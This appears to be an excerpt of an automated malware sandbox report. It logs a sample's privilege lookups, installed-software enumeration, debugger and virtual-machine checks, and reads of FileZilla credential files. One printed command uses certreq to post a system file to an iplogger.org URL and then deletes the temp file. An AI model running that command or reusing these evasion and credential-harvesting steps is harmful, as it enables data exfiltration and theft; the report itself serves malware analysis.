LookupPrivilegeValueW Oct. 7, 2021, 6:11 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 7, 2021, 6:12 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 7, 2021, 6:11 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Expresses interest in specific running processes (1 event)

process

system

Queries for potentially installed applications (50 out of 112 events)

Time & API	Arguments	Status	Return
RegOpenKeyExA Oct. 7, 2021, 6:11 p.m.	regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1 base_handle: 0x80000001 key_handle: 0x00000000 options: 0 access: 0x00000001 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1		2
RegOpenKeyExA Oct. 7, 2021, 6:11 p.m.	regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1 base_handle: 0x80000002 key_handle: 0x00000000 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1		2
RegOpenKeyExA Oct. 7, 2021, 6:11 p.m.	regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1 base_handle: 0x80000001 key_handle: 0x00000000 options: 0 access: 0x00000008 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1		2
RegOpenKeyExA Oct. 7, 2021, 6:11 p.m.	regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1 base_handle: 0x80000002 key_handle: 0x00000000 options: 0 access: 0x00000008 regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1		2
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000002dc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: 7-Zip base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: AddressBook base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: Adobe AIR base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: Connection Manager base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: DirectDrawEx base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: EditPlus base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: ePageSafer base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ePageSafer	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: Fontcore base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: Google Chrome base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: IE40 base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: IE4Data base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: IE5BAKEX base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: IEData base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: MobileOptionPack base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: Mozilla Thunderbird 78.4.0 (x86 ko) base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: Office14.PROPLUS base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: SchedulingAgent base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: TouchEn nxKey base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\TouchEn nxKey	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: UnINISafeWeb base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: UnINISafeWeb6 base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb6	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: WIC base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {00203668-8170-44A0-BE44-B632FA4D780F} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {1CBD185A-9CB3-4f30-B7E4-75CC551455F9}_is1 base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1CBD185A-9CB3-4f30-B7E4-75CC551455F9}_is1	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {1F1C2DFC-2D24-3E06-BCB8-725134ADF989} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {26A24AE4-039D-4CA4-87B4-2F32180131F0} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {4A03706F-666A-4037-7777-5F2748764D10} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {5BEFEB79-2B4D-4EEE-9979-AFDE0A20FADE}_is1 base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{5BEFEB79-2B4D-4EEE-9979-AFDE0A20FADE}_is1	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {829931FB-B163-40F9-8C58-F5603D324DE8}_is1 base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{829931FB-B163-40F9-8C58-F5603D324DE8}_is1	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {8941A397-4065-4F41-92CE-0EB610846EED}_is1 base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{8941A397-4065-4F41-92CE-0EB610846EED}_is1	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-0011-0000-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-0015-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-0016-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-0018-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-0019-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-001A-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-001B-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-001F-0409-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-001F-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-0028-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-002C-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}	1	0
RegOpenKeyExW Oct. 7, 2021, 6:12 p.m.	regkey_r: {90140000-0044-0412-0000-0000000FF1CE} base_handle: 0x000002dc key_handle: 0x00000210 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"cmd.exe" /c certreq -post -config https://iplogger.org/1NUHh7 %windir%\\win.ini %temp%\\2 & del %temp%\\2

Communicates with host for which no DNS query was performed (1 event)

host

185.215.113.121

Checks for the presence of known windows from debuggers and forensic tools (50 out of 102 events)

Time & API	Arguments	Status	Return	Repeated
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: OLLYDBG window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: GBDYLLO window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: pediy06 window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: FilemonClass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: FilemonClass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: File Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Process Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: RegmonClass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: RegmonClass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Registry Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: 18467-41 window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: 18467-41 window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: 18467-41 window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: 18467-41 window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: 18467-41 window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: 18467-41 window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Regmonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: 18467-41 window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: Filemonclass window_name:		0	0
FindWindowA Oct. 7, 2021, 6:12 p.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: OLLYDBG window_name:		0	0
FindWindowA Oct. 7, 2021, 6:11 p.m.	class_name: GBDYLLO window_name:		0	0

Checks the version of Bios, possibly for anti-virtualization (2 events)

registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Collects information about installed applications (50 out of 82 events)

Time & API	Arguments	Status
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: MarkAny Inc. e-PageSafer V2.5 NoAX ( Basic )_2.5.1.18 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ePageSafer\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: TouchEn nxKey with E2E for 32bit regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\TouchEn nxKey\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: INISafeWeb 5.0 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: INISafeWeb 6.0 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb6\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Delfino G3 (x86) version 3.6.6.5 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1CBD185A-9CB3-4f30-B7E4-75CC551455F9}_is1\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}\DisplayName	1
RegQueryValueExW Oct. 7, 2021, 6:12 p.m.	key_handle: 0x00000210 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
